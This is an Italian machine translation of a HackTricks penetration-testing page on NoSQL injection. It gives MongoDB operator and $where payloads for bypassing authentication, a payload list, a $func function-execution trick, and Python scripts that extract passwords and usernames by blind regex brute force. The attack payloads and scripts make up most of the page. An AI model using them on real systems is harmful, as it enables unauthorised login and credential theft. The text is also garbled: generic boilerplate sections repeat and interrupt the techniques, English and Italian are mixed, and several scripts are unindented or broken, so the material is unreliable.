hacktricks/pentesting-web/nosql-injection.md
2024-02-10 13:03:23 +00:00

22 KiB

Iniezione NoSQL


Utilizza Trickest per creare facilmente e automatizzare flussi di lavoro supportati dagli strumenti della comunità più avanzati al mondo.
Ottieni l'accesso oggi stesso:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Sfruttare

In PHP è possibile inviare un Array modificando il parametro inviato da parameter=foo a parameter[arrName]=foo.

Gli exploit si basano sull'aggiunta di un Operatore:

username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code

Bypass di autenticazione di base

Utilizzando diverso ($ne) o maggiore ($gt)

#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true

#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }

SQL - Mongo

MongoDB è un database NoSQL molto popolare che utilizza una struttura di dati chiamata BSON (Binary JSON) per memorizzare i dati. A differenza dei database SQL tradizionali, MongoDB non utilizza il linguaggio SQL per interrogare i dati, ma un proprio linguaggio di query chiamato MongoDB Query Language (MQL).

Iniezione NoSQL

L'iniezione NoSQL è una tecnica di attacco che sfrutta le vulnerabilità presenti nelle query NoSQL per ottenere informazioni non autorizzate o eseguire operazioni non consentite. Questa tecnica è simile all'iniezione SQL, ma viene utilizzata per attaccare i database NoSQL come MongoDB.

Tipi di iniezione NoSQL

Esistono diversi tipi di iniezione NoSQL che possono essere sfruttati per attaccare un database MongoDB:

  • Iniezione di query: in questo tipo di attacco, un attaccante inserisce codice malevolo all'interno di una query NoSQL per ottenere informazioni non autorizzate o eseguire operazioni non consentite.

  • Iniezione di operatori: in questo tipo di attacco, un attaccante sfrutta gli operatori di query di MongoDB per ottenere informazioni non autorizzate o eseguire operazioni non consentite.

  • Iniezione di valori: in questo tipo di attacco, un attaccante sfrutta i valori inseriti all'interno di una query NoSQL per ottenere informazioni non autorizzate o eseguire operazioni non consentite.

Prevenzione delle iniezioni NoSQL

Per prevenire le iniezioni NoSQL, è importante seguire le migliori pratiche di sicurezza, come:

  • Validazione dei dati di input: assicurarsi che i dati di input siano validi e conformi alle aspettative.

  • Utilizzo di librerie sicure: utilizzare librerie o framework che offrono funzionalità di sicurezza per prevenire le iniezioni NoSQL.

  • Limitazione dei privilegi: limitare i privilegi dell'utente del database per evitare che possa eseguire operazioni non consentite.

  • Monitoraggio delle query: monitorare le query eseguite sul database per individuare eventuali attività sospette o tentativi di iniezione NoSQL.

Conclusioni

L'iniezione NoSQL è una minaccia significativa per i database MongoDB e può consentire a un attaccante di ottenere informazioni sensibili o eseguire operazioni non autorizzate. È importante prendere le misure necessarie per prevenire queste vulnerabilità e proteggere i dati sensibili all'interno del database.

query = { $where: `this.username == '${username}'` }

Un attaccante può sfruttare ciò inserendo stringhe come admin' || 'a'=='a, facendo sì che la query restituisca tutti i documenti soddisfacendo la condizione con una tautologia ('a'=='a'). Questo è analogo agli attacchi di SQL injection in cui vengono utilizzati input come ' or 1=1-- - per manipolare le query SQL. In MongoDB, possono essere effettuate iniezioni simili utilizzando input come ' || 1==1//, ' || 1==1%00, o admin' || 'a'=='a.

Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1//    or    ' || 1==1%00     or    admin' || 'a'=='a

Estrarre informazioni sulla lunghezza

To extract the length information from a NoSQL database, you can use the following techniques:

Per estrarre le informazioni sulla lunghezza da un database NoSQL, puoi utilizzare le seguenti tecniche:

Technique 1: $where operator

Tecnica 1: operatore $where

You can use the $where operator to execute JavaScript code on the server-side. By injecting a JavaScript function that returns the length of a specific field, you can extract the length information.

Puoi utilizzare l'operatore $where per eseguire codice JavaScript lato server. Iniettando una funzione JavaScript che restituisce la lunghezza di un campo specifico, puoi estrarre le informazioni sulla lunghezza.

db.collection.find({ $where: "this.field.length == 10" })

Technique 2: $regex operator

Tecnica 2: operatore $regex

The $regex operator allows you to perform regular expression matching on a field. By injecting a regular expression that matches a specific length, you can extract the length information.

L'operatore $regex ti consente di eseguire una corrispondenza di espressioni regolari su un campo. Iniettando un'espressione regolare che corrisponde a una lunghezza specifica, puoi estrarre le informazioni sulla lunghezza.

db.collection.find({ field: { $regex: /^.{10}$/ } })

Technique 3: $ne operator

Tecnica 3: operatore $ne

The $ne operator allows you to find documents where a field is not equal to a specific value. By injecting a value that is not equal to any existing value, you can extract the length information.

L'operatore $ne ti consente di trovare documenti in cui un campo non è uguale a un valore specifico. Iniettando un valore che non è uguale a nessun valore esistente, puoi estrarre le informazioni sulla lunghezza.

db.collection.find({ field: { $ne: null }, $where: "this.field.length == 10" })

By using these techniques, you can extract the length information from a NoSQL database during a penetration test.

Utilizzando queste tecniche, puoi estrarre le informazioni sulla lunghezza da un database NoSQL durante un test di penetrazione.

username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...

Estrarre informazioni sui dati

NoSQL injection is a type of attack that targets NoSQL databases, which are non-relational databases that store data in a flexible, schema-less format. In a NoSQL injection attack, an attacker exploits vulnerabilities in the application's code to manipulate the database queries and extract sensitive information.

To extract data information from a NoSQL database, an attacker can use various techniques:

  1. Boolean-based technique: This technique involves injecting boolean-based queries to determine if a specific condition is true or false. By carefully crafting the injected queries, an attacker can extract information by observing the application's response.

  2. Time-based technique: In this technique, an attacker injects time-based queries that cause delays in the application's response. By measuring the time it takes for the application to respond, an attacker can infer information about the database.

  3. Error-based technique: This technique involves injecting queries that intentionally cause errors in the application. By analyzing the error messages returned by the application, an attacker can gather information about the database structure and data.

  4. Union-based technique: In a union-based attack, an attacker injects queries that combine the results of multiple queries into a single result set. By manipulating the injected queries, an attacker can extract data from different database tables.

To protect against NoSQL injection attacks, it is important to follow secure coding practices such as input validation, parameterized queries, and least privilege access controls. Regular security assessments and penetration testing can also help identify and mitigate potential vulnerabilities in the application.

in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*

in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

SQL - Mongo

MongoDB è un database NoSQL molto popolare che utilizza una struttura di dati chiamata BSON (Binary JSON) per memorizzare i dati. A differenza dei database SQL tradizionali, MongoDB non utilizza il linguaggio SQL per interrogare i dati, ma un proprio linguaggio di query chiamato MongoDB Query Language (MQL).

Iniezione NoSQL

L'iniezione NoSQL è una tecnica di attacco che sfrutta le vulnerabilità presenti nelle query NoSQL per ottenere informazioni non autorizzate o eseguire operazioni non consentite sul database. Questa tecnica è simile all'iniezione SQL, ma viene utilizzata per attaccare database NoSQL come MongoDB.

Tipi di iniezione NoSQL

Esistono diversi tipi di iniezione NoSQL che possono essere sfruttati per attaccare un database MongoDB:

  • Iniezione di query: in questo tipo di attacco, un attaccante inserisce codice malevolo all'interno di una query per ottenere informazioni non autorizzate o eseguire operazioni non consentite.

  • Iniezione di operatori: in questo tipo di attacco, un attaccante sfrutta gli operatori di query per ottenere informazioni non autorizzate o eseguire operazioni non consentite.

  • Iniezione di valori: in questo tipo di attacco, un attaccante sfrutta i valori inseriti all'interno di una query per ottenere informazioni non autorizzate o eseguire operazioni non consentite.

Prevenzione delle iniezioni NoSQL

Per prevenire le iniezioni NoSQL, è importante seguire le seguenti best practice:

  • Validazione dei dati di input: assicurarsi che i dati di input siano validati correttamente prima di utilizzarli all'interno di una query.

  • Utilizzo di librerie sicure: utilizzare librerie o framework che offrono funzionalità di sicurezza per prevenire le iniezioni NoSQL.

  • Limitazione dei privilegi: limitare i privilegi dell'utente del database per ridurre il rischio di attacchi di iniezione NoSQL.

  • Monitoraggio delle query: monitorare le query eseguite sul database per individuare eventuali tentativi di iniezione NoSQL.

  • Aggiornamento regolare: mantenere il database e le librerie utilizzate aggiornate per beneficiare delle patch di sicurezza più recenti.

Conclusioni

L'iniezione NoSQL è una minaccia significativa per i database MongoDB e può consentire agli attaccanti di ottenere informazioni sensibili o eseguire operazioni non autorizzate. È importante adottare misure preventive per proteggere i database MongoDB da questo tipo di attacco.

/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00  Found

Esecuzione Arbitraria di Funzioni in PHP

Utilizzando l'operatore $func della libreria MongoLite (utilizzata di default), potrebbe essere possibile eseguire una funzione arbitraria come riportato in questo report.

"user":{"$func": "var_dump"}

https://swarm.ptsecurity.com/wp-content/uploads/2021/04/cockpit_auth_check_10.png

Ottenere informazioni da diverse collezioni

È possibile utilizzare $lookup per ottenere informazioni da una diversa collezione. Nell'esempio seguente, stiamo leggendo da una diversa collezione chiamata users e ottenendo i risultati di tutte le voci con una password corrispondente a un carattere jolly.

[
{
"$lookup":{
"from": "users",
"as":"resultado","pipeline": [
{
"$match":{
"password":{
"$regex":"^.*"
}
}
}
]
}
}
]


Utilizza Trickest per creare e automatizzare facilmente flussi di lavoro supportati dagli strumenti della community più avanzati al mondo.
Ottieni l'accesso oggi stesso:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Payload MongoDB

Elenco da qui

true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}

Script NoSQL Blind

Questo script è utilizzato per eseguire un attacco di NoSQL Injection in modo cieco. L'obiettivo è estrarre informazioni sensibili dal database utilizzando una serie di tentativi ed esaminando le risposte ottenute.

import requests

def check_password(payload):
    url = "http://example.com/login"
    data = {"username": "admin", "password[$regex]": payload}
    response = requests.post(url, data=data)
    return response.text

def blind_nosql_injection():
    password = ""
    characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"

    while True:
        for char in characters:
            payload = f"^{password}{char}"
            response = check_password(payload)

            if "Successful login" in response:
                password += char
                break

        if len(password) == 0 or password[-1] == "}":
            break

    return password

print(blind_nosql_injection())

Questo script esegue una serie di tentativi per estrarre la password dell'utente "admin" dal database. Utilizza una tecnica di NoSQL Injection cieca, in cui viene testata una serie di caratteri uno per uno fino a quando non viene trovato un match nella risposta del server. Una volta trovato un match, il carattere viene aggiunto alla password e il processo viene ripetuto fino a quando non viene completata l'intera password.

Per utilizzare lo script, è necessario sostituire l'URL "http://example.com/login" con l'URL del punto di accesso al sistema di login target.

import requests, string

alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""

while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c

Forzare l'accesso con tentativi di login per username e password tramite POST login

Questo è uno script semplice che potresti modificare, ma gli strumenti precedenti possono anche svolgere questa attività.

import requests
import string

url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")

def get_usernames(prefix):
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*"}
for c in possible_chars:
username = "^" + prefix + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print(username)
for user in get_usernames(prefix + c):
usernames.append(user)
return usernames

for u in get_usernames(""):
get_password(u)

Strumenti

Riferimenti

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:


Usa Trickest per creare e automatizzare facilmente flussi di lavoro basati sugli strumenti comunitari più avanzati al mondo.
Ottieni l'accesso oggi stesso:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}